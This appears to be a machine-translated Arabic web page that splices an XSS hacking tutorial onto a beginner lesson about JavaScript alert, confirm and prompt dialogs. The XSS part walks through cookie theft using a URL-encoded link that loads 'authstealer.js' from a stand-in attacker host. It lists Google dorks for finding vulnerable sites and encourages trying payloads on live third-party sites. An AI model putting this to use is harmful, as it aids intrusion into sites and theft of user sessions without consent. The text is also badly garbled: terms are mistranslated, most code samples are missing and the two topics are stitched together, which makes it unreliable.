تنبيه JS أمثلة. تنبيه، موجه وتأكيد العمليات. تفاعل المستخدم في جافا سكريبت. ميزات XSS بناء على DOM
تعد البرمجة النصية InterSype (XSS) ثغرة أمنية لتطبيق التعليمات البرمجية القابلة للتنفيذ على جانب العميل (JavaScript) في صفحة الويب التي يتم إحضارها المستخدمين الآخرين.
تنشأ الضعف بسبب عدم كفاية تصفية البيانات، والتي يرسل المستخدم إلى إدراجها في صفحة ويب. من الأسهل بكثير فهم مثال محدد. تذكر أي كتاب ضيف - هذه برامج مصممة لقبول البيانات من المستخدم والشاشة اللاحقة. تخيل أن كتاب الزوار لا يتحقق بأي شكل من الأشكال ولا يقوم بتصفية البيانات المدخلة، ولكن ببساطة يعرضها.
يمكنك تذوق SPPLESS SCRIPT الخاص بك (لا يوجد شيء أسهل من كتابة البرامج النصية السيئة إلى PHP - وهذا يشارك في هذا). ولكن هناك بالفعل الكثير من الخيارات الجاهزة. على سبيل المثال، أقترح بدء التعارف مع Dojo و Owasp Mutillidae II. هناك مثال مماثل. في بيئة Dojo المستقلة، انتقل إلى المتصفح حسب المرجع: http: //localhost/mutillidae/index.php؟ صفحة \u003d إضافة إلى-الخاص بك blog.php
إذا دخل شخص ما من المستخدمين:
ستعرض صفحة الويب هذه:
مهلا! مثل موقعك.
وإذا دخل المستخدم هذا:
مهلا! مثل موقعك.
سيتم عرض ذلك مثل هذا:
المتصفحات تبقي مجموعة من ملفات تعريف الارتباط عدد كبير المواقع. كل موقع يمكن أن تحصل على ملفات تعريف الارتباط المحفوظة فقط لهم. على سبيل المثال، احتفظ موقع الويب examply.com ببعض ملفات تعريف الارتباط في متصفحك. أنت تعطل موقع الويب الخاص بالآخرين، لا يمكن لهذا الموقع (البرامج النصية العميلة والخادم) الوصول إلى ملفات تعريف الارتباط التي حفظها موقع الويب examply.com.
إذا كان الموقع examply.com عرضة للخدمة XSS، فهذا يعني أننا نستطيع بطريقة أو بأخرى لتنفيذ رمز JavaScript في ذلك، وسيتم تنفيذ هذا الرمز نيابة عن الموقع أولئك. سيتلقى هذا الرمز، على سبيل المثال، الوصول إلى موقع ملف تعريف الارتباط.
أعتقد أن الجميع يتذكرون أنه يتم تنفيذ JavaScript في متصفحات المستخدمين، أي إذا كان هناك XSS، فإن البرامج الضارة المضمنة تتلقى الوصول إلى بيانات المستخدم التي فتحت صفحة الويب.
الرمز المضمن قادر على كل ما تستطيع جافا سكريبت، أي:
- الوصول إلى ملفات تعريف الارتباط من الموقع المشاهد
- يمكن أن تجعل أي تغييرات في مظهر خارجي الصفحات
- الوصول إلى البورصة المخزن المؤقت
- يمكن تطبيق البرامج على جافا سكريبت، على سبيل المثال، Loggers KI (معترض المفتاح دفعت)
- لمس على لحوم البقر.
- وإلخ.
أبسط مثال مع Cookiz:
فعلا، يحذر. يستخدم فقط للكشف عن XSS. البرامج الضارة الحقيقية حمولات الإجراءات المخفية. إنه يرتبط مخفيا بخادم دائم بعيد ونقل البيانات المسروقة عليه.
أنواع XSS.
الشيء الأكثر أهمية هو أنك بحاجة إلى فهم أنواع XSS ما يحدث:
- مخزنة (ثابت)
- ينعكس (غير دائم)
مثال دائم:
- قدم المهاجم رسالة مشكلة خصيصا إلى دفتر الضيوف (تعليق، رسالة المنتدى، الملف الشخصي) الذي يتم تخزينه على الخادم، تم تحميله من الخادم في كل مرة يطلب المستخدمون عرض هذه الصفحة.
- حصل المهاجم على الوصول إلى بيانات الخادم، على سبيل المثال، من خلال حقن SQLوقم بتنفيذ رمز JavaScript الضار إلى البيانات التي تم إصدارها للمستخدم (مع سجلات KI أو لحوم البقر).
عينة من غير دائم:
- يحتوي الموقع على بحث، والذي، مع نتائج البحث، يعرض شيئا مثل "كنت تبحث عن: [سلسلة البحث]"، في حين أن البيانات غير تصفية بشكل صحيح. نظرا لأن هذه الصفحة يتم عرضها فقط من أجل الحصول على رابط لها، في حين أن المهاجم لن يرسل الرابط للمستخدمين الآخرين للموقع، فإن الهجوم لن يعمل. بدلا من إرسال إشارة إلى الضحية، يمكنك استخدام موضع برنامج نصي ضار على موقع محايد يزور الضحية.
لا تزال تبرز (بعض أنواع ضعف XSS غير دائم، يقول البعض إن هذه الأنواع يمكن أن تكون مجموعة متنوعة من XSS الثابت):
- نموذج دوم
ميزات XSS بناء على DOM
إذا كنت بسيطة تماما، فيمكن ملاحظة الرمز الضار "العادي" غير الدائم XSS إذا قمت بفتح رمز HTML. على سبيل المثال، يتم تشكيل الرابط بهذه الطريقة:
http://example.com/search.php؟q\u003d "/\u003e
وعند فتح رمز HTML الأصلي، نرى شيئا مثل هذا:
و DOM XSS تغيير بنية DOM التي يتم تشكيلها في المتصفح أثناء الطيران ورؤية التعليمات البرمجية الضارة التي لا يمكننا إلا عند عرض هيكل DOM المشكلة. HTML لا يتغير. دعنا نأخذ هذا الرمز على سبيل المثال:
ذلك في المتصفح سنرى:
شفرة مصدر الصفحة:
دعونا نتشكل العنوان كما يلي:
http: //localhost/tests/xss/dom_xss.html#input\u003dtokenalex.;
الآن الصفحة تبدو وكأنها هذه:
ولكن دعونا ننظر إلى مصدر لغة البرمجة:
لم يتغير شيء على الإطلاق. حول هذا قلت، نحتاج إلى مشاهدة وثيقة هيكل DOM لتحديد رمز ضار:
إليك النموذج الأولي العامل XSS، للحصول على هجوم حقيقي نحتاج إلى حمولة أكثر تعقيدا أمرا مستحيلا بسبب حقيقة أن التطبيق يتوقف عن القراءة مباشرة بعد نقطة مع فاصلة، وشيء مثل تنبيه (1)؛ تنبيه (2) لم يعد ممكنا. ومع ذلك، شكرا إلغاء () في البيانات التي تم إرجاعها، يمكننا استخدام الحمولة مثل هذا:
http: //localhost/tests/xss/dom_xss.html#input\u003dtokenalex.;
حيث استبدالنا الرمز ; على المكافئ المشفرة في URI!
الآن يمكننا كتابة البرامج الضارة لجافا سكريبت وإنشاء رابط لإرسال الضحية، كما يتم ذلك للحصول على البرمجة النصية غير الدائمة القياسية.
مدقق الحسابات XSS.
في جوجل كروم. (وكذلك في Opera، والتي تستخدم الآن محرك Google Chrome)، كنت أنتظر مثل هذه المفاجأة:
dOM_XSS.HTML: 30 رفض مراجع XSS تنفيذ برنامج نصي في "http: //localhost/tests/xss/dom_xss.html#eput\u003dtoken \u003cscript\u003e تنبيه (1)؛ "نظرا لأنه تم العثور على شفرة المصدر الخاصة به ضمن الطلب. تم تمكين المراجع لأن الخادم لم يتم إرسال رأس" XS-XSS-Protection "ولا" سياسة أمان محتوى ".
أولئك. الآن في المتصفح، يوجد مدقق XSS الذي سيحاول منع XSS. لا توجد وظيفة في فايرفوكس، لكنني أعتقد أن هذه مسألة وقت. إذا كان التنفيذ في المتصفحات ناجحا، فيمكننا التحدث عن صعوبة كبيرة في استخدام XSS.
من المفيد أن تتذكر أن المتصفحات الحديثة تتخذ خطوات للحد من مستوى تشغيل مشاكل مثل XSS غير دائم وتستند إلى DOM XSS. بما في ذلك أنه من الضروري أن نتذكر عند اختبار مواقع الويب باستخدام متصفح - قد يكون الأمر كذلك أن تطبيق الويب هو عرضة للخطر، لكنك لا ترى تأكيدا منبثقا لهذا السبب الذي يحظره المتصفح.
أمثلة لاستغلال XSS.
يجب أن تقترب المغامرات، التي تنوي استخدام نقاط ضعف البرمجة النصية المعتادة، كل فئة من نقاط الضعف بطرق مختلفة. ووصف هنا ناقلات الهجمات لكل فصل.
مع نقاط ضعف XSS، يمكن استخدام لحوم البقر في الهجمات التي توسع الهجوم من الموقع الإلكتروني للبيئة المحلية للمستخدمين.
مثال الهجوم مع XSS غير دائم
1. غالبا ما يزور أليس على شبكة الإنترنت محددة يستضيف بوب. يسمح موقع Bob Website بتسجيل الدخول باستخدام اسم المستخدم / كلمة المرور وحفظ البيانات الحساسة، مثل معلومات الدفع. عندما يقوم المستخدم بتمارين الإدخال، يحتفظ المتصفح بملفات تعريف الارتباط الترخيص التي تبدو وكأنها أحرف لا معنى لها، I.E. كل من أجهزة الكمبيوتر (العميل والخادم) تذكر أنه دخلت.
2. تلاحظ المخالب أن موقع بوب يحتوي على ضعف XSS غير دائم:
2.1 عند زيارة صفحة البحث، ندخل سطرا للبحث وانقر فوق الزر "إرسال" إذا لم يتم العثور على النتائج، تعرض الصفحة سلسلة البحث التي تم إدخالها، تليها الكلمات "غير موجودة" وعنوان URL http://bobssite.org؟q\u003de عن طريق استفسار البحث
2.2 مع استعلام بحث عادي مثل كلمة " هزلي»الصفحة ببساطة يعرض" هزلي لم يتم العثور على "وعن url http://bobssite.org؟q هزليما هو السلوك الطبيعي تماما.
2.3 ومع ذلك، عند إرسال استعلام بحث غير طبيعي إلى البحث :
2.3.1 تظهر رسالة تحذير (تقول "XSS").
2.3.2 صفحة العرض غير موجود جنبا إلى جنب مع رسالة خطأ مع النص "XSS".
2.3.3 URL مناسبة للعمل http://bobssite.org؟q\u003d.
3. المصنونة تصمم عنوان URL لتشغيل الضعف:
3.1 هي لا عنوان URL http://bobssite.org؟q\u003dpuppies. وبعد يمكن أن تختار تحويل أحرف ASCII بتنسيق سداسي عشري، مثل http://bobssite.org؟q؟q\u003dpuppies٪3cscript٪2520SRC٪3D٪22HTTP٪3A٪2F٪2FMALLORYSEVILSITE.CH٪2FAUTHSTEALER.JS٪22٪3E. من أجل أن يكون الأشخاص قادرين على فك شفرة URL الخبيثة على الفور.
3.2 إنها ترسل رسالة بريد إلكتروني إلى بعض الأعضاء المطمئنين في الموقع بوب، قائلا: "تحقق من الكلاب الباردة".
4. أليس يتلقى خطابا. إنها تحب الكلاب والنقرات على الرابط. إنها تذهب إلى الموقع بوب في البحث، وهي لا تجد أي شيء، وهناك عرض "الكلاب غير موجودة"، وفي منتصف العلامة، يتم بدء العلامة مع برنامج نصي (غير مرئي على الشاشة) الأحمال وتنفذ برنامج Malory Authstealer.js (هجوم XSS). أليس تنسى عن ذلك.
5. يبدأ برنامج AuthStealer.js في متصفح Alice كما لو كان مصدره هو موقع بوب. تلتقط نسخة من ملفات تعريف الارتباط من أليس إذن وترسل إلى خادم Malory، حيث تقوم المخاض بإزالتها.
7. الآن أن المخالق في الداخل، يذهب إلى موقع الويب الخاص بالموقع، ويبدو وسرقة نسخة من الغرفة بطاقة إئتمان أليس. ثم تذهب وتغيير كلمة المرور، أي الآن أليس لا يمكن حتى الذهاب.
8. قررت أن تجعل الخطوة التالية ويرسل بوب نفسه المصممة بالمثل إلى الرابط، وبالتالي يحصل على امتيازات إدارية لموقع بوب.
الهجوم مع XSS ثابت
- التقارصية لديها حساب على موقع بوب.
- تلاحظ Malory أن موقع بوب يحتوي على مشكلة عدم حصانة XSS ثابتة. إذا ذهبت إلى قسم جديد، ضع تعليقا، فهذا يعرض أنه لن يتم طباعته فيه. ولكن إذا كان نص التعليق يحتوي على علامات HTML، فسيتم عرض هذه العلامات كما هي، ويتم تشغيل أي علامات نصية.
- يقرأ Malory مقالا في قسم الأخبار ويكتب تعليقا في قسم التعليقات. في التعليق، إدراج النص:
- في هذه القصة أحببت الكلاب كثيرا. انهم لطيفون جدا!
- عندما يقوم Alice (أو أي شخص آخر) بتنزيل الصفحة باستخدام هذا التعليق، يتم إطلاق علامة النصية Malory Script وسرقة طهاة الترخيص من أليس، ويرسل malory إلى الخادم السري لجمعها.
- يمكن للمقدرة المخدرة الآن اعتراض جلسة أليس وإعطاء أنفسهم لأليس.
مواقع البحث عرضة ل XSS
دوريكي ل xss.
الخطوة الأولى هي اختيار المواقع التي سنؤدي فيها هجمات XSS. يمكن توقيع المواقع باستخدام Google Dorkov. فيما يلي بعض هذه المسافات التي نسخ ولصقها في بحث Google:
- inurl: search.php؟ q \u003d
- inurl: .php؟
- inurl: search.php.
- inurl: .php؟ بحث \u003d
قبلنا سوف تفتح قائمة المواقع. تحتاج إلى فتح الموقع وإيجاد حقول الإدخال عليه، مثل نموذج التعليقات، نموذج الإدخال، البحث في الموقع، إلخ.
لاحظت على الفور أنه من غير المجدي تقريبا البحث عن نقاط الضعف في تطبيقات الويب المحدثة تلقائيا. المثال الكلاسيكي مثل هذا التطبيق هو WordPress. في الواقع، فإن نقاط الضعف في وورد، وخاصة في الإضافات، هناك. علاوة على ذلك، هناك العديد من المواقع التي لا تقوم بتحديث إما محرك WordPress (بسبب حقيقة أن المسؤول عن الموقع قد قام ببعض التغييرات في التعليمات البرمجية المصدرية)، ولا الإضافات والمواضيع (كقاعدة عامة، تكون هذه الإضافات والمواضيع المقرصنة). ولكن إذا قرأت هذا القسم والتعرف على شيء جديد من ذلك، فإن WordPress ليس حتى الآن من أجلك ... سأعود إليه بالتأكيد لاحقا.
أفضل الأهداف هي مجموعة متنوعة من المحركات والبرامج النصية المكتوبة ذاتية الذاتية.
يمكنك اختيار الحمولة الحمولة للإدراج
انتبه إلى أي رموز رمز HTML يقع التعليمات البرمجية المضمنة. إليك مثال على حقل إدخال حقل نموذجي ( الإدخال):
سوف يذهب حمولة الحمولة لدينا إلى حيث كلمة "وسادة" هي الآن. أولئك. بدوره في العلامة الإدخالوبعد يمكننا تجنب هذا - إغلاق اقتباس مزدوج، ثم علامة نفسها "/>
"/>
دعونا نحاولها لبعض المواقع:
ثغرة أمنية ممتازة
برامج للبحث ومسح مشكلة عدم حصانة XSS
ربما تحتوي جميع الماسحات الضوئية على تطبيقات الويب المدمجة في XSS Vulnerpority. هذا الموضوع هو awkhanging، من الأفضل التعرف على كل ماسحة ماسحة من هذا القبيل بشكل منفصل.
هناك أيضا أدوات متخصصة للمسح XSS الضعفوبعد من بينها، من الممكن بشكل خاص تسليط الضوء.
يمكن تنفيذ تنظيم الحوار مع زائر موارد ويب طرق مختلفة، الذي استخدامه وظائف جافا سكريبت تنبيه () هو أبسط وخيار سريع. هذا الخيار جيد بشكل خاص لأغراض الاختبار، ولكن في العديد من الموارد يتم استخدامه كوظائف طبيعية.
ميزة تنبيه JavaScript () تتيح لك الحصول على إجابة إيجابية. في الواقع، إنها ليست إجابة، ولكن حقيقة إبلاغ المعلومات. علاوة على ذلك، يتوقف مورد الويب من العمل حتى يستجيب المستخدم. الجواب عن طريق التنبيه هو دائما وحده - هذه هي الحل!
من أجل تصحيح تنبيه JavaScript ()، فإن الأداة المثالية التي تتيح لك الحصول بسرعة على معلومات موضحة، واتخاذ قرار وتستمر في العمل. ولكن من أجل العمل الطبيعي للموقع، فإنه يحتوي أيضا على قدر عادل من المزايا.
تثبيت انتباه الزوار
"تنبيه" - كما في الحياة، يشكل حدثا، من قبل من لا يمر. لكن هذا الحدث قد لا يحدث.
يعرف المطور النادر عن هذا الظرف وينتظر مؤلمة موقعه لفترة طويلة في جزء عملائه. في الوقت نفسه، لا يعرف القليل من المطورين: العثور على خطأ في العميل، أي في المتصفح، غالبا ما يكون من الصعب للغاية:
- ساعات بلا هدف من الوقت الثمين؛
- تنفق تحويلات رمز لا يصدق؛
- كتلة النصوص، في الكلمات، تحصل على المتصفح، والخادم.
وليس هناك نتائج. لا يساعد Debuggers أو كلمة ولا أدوات تصحيح الأخطاء المضمنة في كل متصفح. وفي الوقت نفسه، يفتح القبرة دائما ببساطة - المفتاح الصحيح مهم.
قاعدة بسيطة من التعليمات البرمجية الصحيحة
بادئ ذي بدء، أصبحت ملفات تعريف الارتباط أكثر العناصر المطلوبة في الموقع الحديث. يجب أن تنسى أبدا:
- جافا سكريبت تنبيه ووثيقة كوكي
- "هنا والآن" & "على الإطلاق أو على الإطلاق".
تعد ملفات تعريف الارتباط فرصة رائعة للتذكر في أعماق المتصفح حول كل عميل، لكن يجب ألا تعطي هذه القيم في الجلسة الحالية. الشاغل الرئيسي ملف تعريف الارتباط: البقاء في "ذاكرة" المتصفح في المحتوى الذي كانت في وقت رحيل الزائر.
في كل ما تبقى من رمز البرنامج النصي في أعماق المستعرض يعتمد فقط على الأحداث ذاتها التي تعالجها.
في هذا السياق، وسياق هذا هنا مثالي، لا يمكن أن يعمل الكود إلا إذا كان مكتوب بشكل صحيح. هذه هي القاعدة المثالية للتعليمات البرمجية الصحيحة. إذا كان المتصفح يظهر شاشة نظيفة أو شيء لا يفعل شيئا ما، فهناك سبب لتحضل وجود خطأ.
ببساطة تطبيق بسيط:
- تنبيه JavaScript ("حتى الآن كان كل الحق!").
أفضل deboager أو مصحح - حدث يجب أن يحدث ولكن لا يحدث.
عن طريق نقل هذا التصميم من الصفر إلى جريمة مزعجة في الكود، يمكنك الكشف عن المكان الذي لا يعمل فيه. سيتم العثور على الخطأ. تنبيه جافا سكريبت () نافذة مشروط وبعد لا يمكن تجاوزه، ولا يوجد شيء حتى يغلق المطور / الزائر هذه النافذة.
إذا لم ينبثق النافذة، فهذا يعني أنه غير معين في التعليمات البرمجية، أو كل ما يذهب إليه يحتوي على خطأ.
وضع صعب في أي نوع من تنبيه جافا سكريبت لا يعمل
يرتبط هذا بشكل رئيسي بخوارزميات تبادل معلومات AJAX مع الخادم. ليس من الممكن دائما تطبيق أدوات التصحيح الكلاسيكية، وعندما يعمل نظام كائن متعدد المستويات على جانب العميل، يتم تحويل تصحيح الأخطاء عموما إلى وعي المطور وليس مصححا للمساعدة.
أفضل نسخة من التنبيه في إجراءات الاتصال مع الخادم هي DIV (DIV)، والتي يتم وضعها في بروتوكول الاتصالات مع طريقة Innerhtml - ستكون دائما واضحة في المرحلة التي توجد فيها مشكلة.
Diva ثابتة، والتي هي دائما مرئية في الصفحة - هذه ليست نافذة مشروطة من تنبيه JavaScript. قد لا تظهر النافذة، وأسباب يمكن أن تكون مجموعة، والصادرة صحيحة صحيحة. تتميز لغة المتصفح بمزاج هادئ ولن تأخذ أي إجراءات، إذا لم تفكك شيء ما ولم يفهمه.
إن سلامة أي علامة HTML هي عامل جيد. قم بإزالة الرمز بأكمله وإضافته إلى أجزاء حتى يظهر الخطأ مرة أخرى، ليس أسرع تقنية لتصحيح الأخطاء. الكتابة بشكل صحيح - النصيحة شائعة، في الطلب، ولكن غير عملي.
لغة المتصفح - Works على الأحداث، فإن اهتمامها الرئيسي ليس رمز تسلسلي، ولكن أداء الوظيفة المعينة إلى علامات الصفحات والأحداث المعالجة.
قاعدة إضافية إلى قاعدة بسيطة
إذا لم تظهر النافذة من تنبيه JavaScript ("لا يزال كل شيء مكتوب بشكل صحيح") في المتصفح، فهذا يعني أن بناء الجملة إلى المكان الذي يتم فيه تسجيل هذا التصميم، لا يتسبب في شك في متصفح ويتم تنفيذه بشكل صحيح.
منطق الكتابة النمط الحديث لديه عيب كبير. يتم دمج جميع ملفات الصفحات معا (مع جوهرها وأنواعها) إلى واحدة كاملة، ثم تم بناء DOM. غالبا ما يكون الإجراء الخاص بربط الملفات ضروريا.
من الأفضل عندما لا يعطي المطور قيم المبدأ الأحداث في تنظيم تنفيذ الوظائف المعينة للأحداث، ولديها جميع الوظائف في تسلسل تطبيقها ووجهتها إلى الأحداث والصفحة.
النظام هو دائما الأكثر أهمية. مع بقية جافا سكريبت سيؤدي إلى معرفة ذلك: ماذا ومتى الاتصال. البرمجة الحديثة بشكل عام وفي سياق أي طريقة، أي نهج موجه نحو الكائنات عالية المنظمة بشكل خاص - دائما بالتتابع. يجمعون دائما أيضا باستمرار كما وصفي.
إذا لم يحدث شيء ما، إذن: لا يوجد شيء خطأ، ولكن فقط قبل هذا المكان.
- طرق كائن النافذة؛
- التنبيه () الطريقة: ملخص موجز؛
- تأكيد () - كتابة الرسائل؛
- طريقة موجه () - دعنا نتعرف، أنا stirlitz.
لذلك، كائنات المتصفح. وأول مرة - أقدم منهم، الكائن نافذة او شباك..
هذه هي الأساليب الرئيسية للكائن نافذة او شباك. (بالإضافة إلىهم، هناك آخرون، لكنهم ثابتون، وحتى لا تضعف العقول مع معلومات غير ضرورية، سأؤجلها إلى السلسلة الثالثة).
طريقة |
وصف |
فتح وإغلاق نافذة المتصفح؛ من الممكن تحديد حجم النافذة ومحتوياتها، وكذلك وجود لوحة المفاتيح وحقول العنوان والسمات الأخرى. |
|
ظهور مربع حوار الإشارة مع الرسالة المناسبة. |
|
ظهور نافذة مربع حوار التأكيد مع أزرار "موافق" و "إلغاء". |
|
ظهور نافذة الحوار النصائح مع حقل إدخال النص. |
|
تثبيت أو حذف التركيز على النافذة. |
|
قم بالتمرير محتويات النافذة إلى نقطة معينة. |
|
حدد الفاصل الزمني بين التحدي الوظيفي وحساب التعبير. |
|
تحديد فاصل زمني واحد إلى مكالمة وظيفية أو حساب التعبير. |
نحن نعلم بالفعل ذلك نافذة او شباك. غالبا ما يعني ذلك، ولكن غير مكتوبة.
استدعاء حوار ويندوز مختلفة
يستخدم مربع الحوار في البرامج للتفاعل مع المستخدم.
التنبيه () طريقة
لقد تفكيكنا في بداية دروسنا. يقوم بإنشاء مربع حوار أبسط مع الرسالة وزر موافق. كل تفاعلها محدود بحقيقة أن المستخدم بالضغط على هذا الزر واحد، يمكن أن يرسل هذه النافذة في مكان بعيد (ونشكرك).
تأكيد () الطريقة
طريقة يتأكد () يعطي بالفعل المستخدم لأخذ أبسط حل "منطقي": قل "نعم" أو "لا".
على سبيل المثال، انقر فوق هذا الزر:
آسف للرسم قليلا. آمل أن تعرف كيفية استخدام زر "الظهر".
كيف يتم ترتيب كل شيء؟ بطبيعة الحال، رأيت أن لدي هذه الطريقة مجتمعة مع التنبيهات. وهذا يتم استخدام وظيفة يتم إدراجها .
ترجع الطريقة قيمتين: حقيقي. (إذا موافق) و خاطئة (إذا تم إلغاؤها).
في حقيقي. نرسلها إلى الصفحة المقابلة (الممتلكات href. موضوع موقعك) وإزالة المقابلة يحذر ()وبعد خلاف ذلك (وهذا هو خاطئة) فقط اخرج آخر يحذر ().
وفي الزر استدعاء الوظيفة في الحدث عند النقر.:
ثم تحتاج إلى استدعاء هذه الوظيفة من معالج الأحداث عند تقديم. بطاقة شعار. ، على سبيل المثال:
هنا، على سبيل المثال، يمكنك الكتابة لي على كل ما تفكر فيه في دروسي. إذا فجأة حصلت متحمسا ومضغطا على الزر، ثم بدأ شيء محرجا بطريقة أو بأخرى في ملء نافذة الحوار والضغط عليك.
إذا قمت بإنشاء النوافذ المنبثقة، فهناك نغمة جيدة هي التحذير من هذا المستخدم وإعطائها اختيار - افتح النافذة أو غير مفتوح. للقيام بذلك، قبل تنزيل النافذة، تحتاج إلى إصدار "برلماني" - حوار يتأكد ()وبعد هنا يتم استدعاء الوظيفة من وبعد سنتحدث قريبا جدا عن ذلك عندما ننتقل إلى إنشاء Windows بالطريقة فتح ().
طريقة موجه ()
تطلب هذه الطريقة بالفعل بيانات محددة من المستخدم. يظهر مربع حوار مع حقل الإدخال. ترجع الأسلوب البيانات التي أدخلها المستخدم هذا الحقل، وتسمح للبرنامج بالعمل مع هذه البيانات.
طريقة استدعى () حججان: السؤال (الذي يظهر أعلى حقل الإدخال) والإجابة (نص في حقل الإدخال):
إذا كنت تريد أن تظهر حقل الإدخال نظيفا، فضع علامات اقتباس فارغة مع الوسيطة الثانية:
استدعى.("سؤال النص","") |
دعونا ننظر إليها في العمل. انقر فوق الزر، لا تخف.
لذلك، قمت بإدخال بيانات (أو غير إدخالها) واستلمها من الكمبيوتر الاستجابة بناء على هذه البيانات (أو الغياب).
فيما يلي تبديل بسيط لهذه الميزة:
ملكية innerhtml.، مما يسمح بالتحكم في محتويات العلامة، واجهنا في 10 درسا عندما برمجنا الأسماء تحت الصور.
ولكن رمز الزر فقرة فارغة لتحية.
|
ولكن إذا تحولت إلى أن تكون جي لي، فقد رأوا أن الوظيفة تفاعل بها.
كيفية القيام بذلك في الإصدار "الخشن"، يمكنك تخمين نفسك بالفعل. تحتاج إلى التحقق من المتغير اسم االمستخدم ليس فقط على اقتباسات فارغة، ولكن أيضا على " أندرو"، واستثمر آخر إذا مع النص المناسب (يمكنك ممارسة نفسك).
ولكن إذا كنت تسجل " أندرو", "أندروشا", "Andryushka.", "andryukha.", "andreyka.", "اندريه إيفانوفيتش"، وما إلى ذلك، ستكون النتيجة مماثلة، على الرغم من أنني لم أتحرك بوضوح كل هذه القيم، لكنني مشيت فقط حوالي خمسة صفوف:" أندريه", "اندري", "اندريه", "andreche."و" اندريكو"(ثلاثة أخيرة - لاستبعاد Andreyevko و Andreichenko و Andreychuk، مع الاحتفاظ Andreychik في الهواء في الهواء).
وهذا هو، يمكنك تخمين أن الوظيفة يتحقق من المتغير اسم االمستخدم في أول 5 أو 6 أو 8 أحرف.
لكننا سنتحدث عن ذلك في وقت لاحق إلى حد ما عندما ننتقل إلى كائنات السلسلة وأساليبها. أريدك فقط أن تمثل مسبقا لهذه المهام التي علينا حلها (على وجه الخصوص، جميع أنواع صفوف تقسيم الأساسعة). ثم يبدو الحلول أنفسهم أكثر وضوحا. ولكن إذا لم يتسامح مع ذلك، فيمكنك "رسم" الوظيفة من التعليمات البرمجية و "الفجوة تحت الجوز". بالنسبة للفضول كتبت التعليق هناك.
طريقة استدعى () يمكنك أيضا استخدامها لإدخال كلمة المرور.
هذه ليست نهاية الدرس!
دعونا نقول جيجيس قليلا لقراءة هذا الفصل حتى النهاية. أولا، حاول الضغط وأدخل شيئا ما.
آه، هذا هو! ولكن انظر، ظهر زر آخر! نحن سوف ...
كلمة المرور:
اضغط على الزر الأول مرة أخرى وأدخل كلمة المرور الصحيحة.
كل هذا المرح، ربما يضرب التأثير، ولكن في الواقع يمكن العثور على كلمة المرور عن طريق الضغط على الزر الأيمن والنظر في التعليمات البرمجية. يمكن لشخص ما أن يعتقد ساذجة أنه يكفي وضع التعليمات البرمجية في ملفات منفصلة ولكن في رمز الصفحة سيكون هناك رابط لهذا الملف مع عنوان يشير إليه. وإذا قمت بطلبها في شريط العناوين، فسيتم فتح الملف باستخدام رمز JavaScript :)
هل من الممكن تشفير كلمة المرور في التعليمات البرمجية؟ من الممكن، ولكن لهذا مرة أخرى، هناك حاجة إلى التلاعب مع الصفوف مع استخدام بعض الأساليب الرياضية. عندما نصل إلى كل هذا، سندرس البرنامج النصي كلمة المرور "الحقيقي". لكن تقنية التفاعل مع المستخدم ستكون هي نفسها: الطريقة استدعى ()وبعد (هل من الممكن "تقسيم" كلمة مرور مشفرة؟ للأسف، الكمال للمتسللين لا يوجد حد ...)
تماما كما "اشتعلت" الاسم أو غيابه، والقبض على الوظيفة وكلمة المرور.
إذا أدخلت كلمة المرور الخاطئة أم لا تدخل أي شيء، فإن السلسلة
document.getelementbyid ("لا"). Style.display \u003d "Block"
فتح كتلة مع الزر الثاني
وإذا تم إدخال كلمة المرور الصحيحة، فسيتم نقل الإجراء حسب الخط
document.getelementByID ("نعم"). Style.DisPlay \u003d "Block",
الذي يفتح الكتلة التالية
توقف، وما هو هناك ل cracksubry؟ هذا هو تشفير غير معقد، سأشرح قريبا.
في غضون ذلك، أعطي رمز هذه الكتل (من أجل الوضوح، أقل من الجدول مع الإطار، وهو مغلفة في الكتلة الأخيرة):
"لا" نمط \u003d "عرض: لا شيء؛" \u003e آه، هذا هو! ولكن انظر، ظهر زر آخر! نحن سوف ... "MyPassword" نمط \u003d "عرض: لا شيء؛" \u003e كلمة المرور:
اضغط على الزر الأول مرة أخرى وأدخل كلمة المرور الصحيحة. "نعم" نمط \u003d "عرض: لا شيء؛" \u003e
الآن نقرأ على. . . . . . . . . . . |
لذلك، حول التشفير. انها البائسة جدا. في أى مكان يهرب () و إلغاء ()، اخترقت على الفور.
دور الهروب ("أدخل سلسلة هنا") يحول الرموز إلى قيمهم السداسية عشرية.
دور unescape ("أدخل الهز") يؤدي عمل عكسي.
وبالتالي تشفير كلمة المرور، تحتاج إلى قيادةها في المنزل من خلال يهرب ()نسخ النتيجة ولصقها في إلغاء ()وبعد ولكن هذا، أكرر، برفض.
حسنا، لمجموعة كاملة - وظيفة للزر الثاني:
للإخراج القياسي مربعات الحوار يحتوي JavaScript على ثلاث طرق فقط تعلمناه اليوم. على الرغم من أن هذه الطرق لا تحدث في كثير من الأحيان، فإن القدرة على الاتصال بهم مفيدة للغاية. إنها بسيطة، ولكن في الوقت نفسه علاج، لذلك التحدث، إلى البرمجة "النقية". إنهم خاضون جيدا في متطلعون لغة البرمجة. وأنا أنصحك بكل طريقة لتجربة معهم، حتى أنه بلا هدف من وجهة نظر براغماتية. البرمجة جيدة - هذه لعبة رائعة، مثل، ومع ذلك، أي إبداع.
ومرة أخرى أرحب بكم في الموضوع التالي مخصص للغة جافا سكريبت.حيث سنقوم بتحليل أساليب تنبيه، موجه، confrimوبعد هذه الأساليب مدمجة في اللغة جافا سكريبت. ومساعدتنا التفاعل مع المستخدم.
يحذر. يعرض نافذة متصفح مع معلومات محددة تتبع النص البرنامجي حتى يتم الضغط على المستخدم بواسطة الزر "موافق".
استدعى.كقاعدة عامة، تعرض نافذة يتم فيها طلب المستخدم من السؤال الذي يجب أن يستجيب إليه في حقل نص معين، ثم اضغط على المفتاح "موافق". أيضا، لا يمكن للمستخدم إدخال أي شيء عن طريق الضغط على مفتاح الإلغاء.
يتأكد. يعرض أيضا نافذة لم يستطع المستخدم إدخال أي شيء في حقل النص، ويمكن فقط النقر فوق الزر "موافق" أو إلغاء ".
والآن بعد دخول صغير، ننتقل إلى النظر في ما تقدم في الممارسة العملية.
نتيجة لذلك، عند تحديث صفحة المتصفح، سيكون لدينا نافذة مع تحية المستخدم. بعد الضغط على الزر "موافق"، ستظهر النافذة التالية حيث سيطلب اسمك. في هذه الطريقة، هناك معلمان، الأول أمر إلزامي وهو مسؤول عن العنوان الذي سيتم عرضه، في حالتنا، إنها مسألة اسم مستخدم. والمعلمة الثانية هي المسؤولة عن القيمة التي سيتم عرضها بشكل افتراضي في مربع النص. إذا أدخلت اسمك واضغط على الزر "موافق"، فسيتم وضع اسمك في متغير الاسم.وبعد إذا قمت بالنقر فوق الزر "إلغاء"، فسيتم تسجيل المتغير باطل.
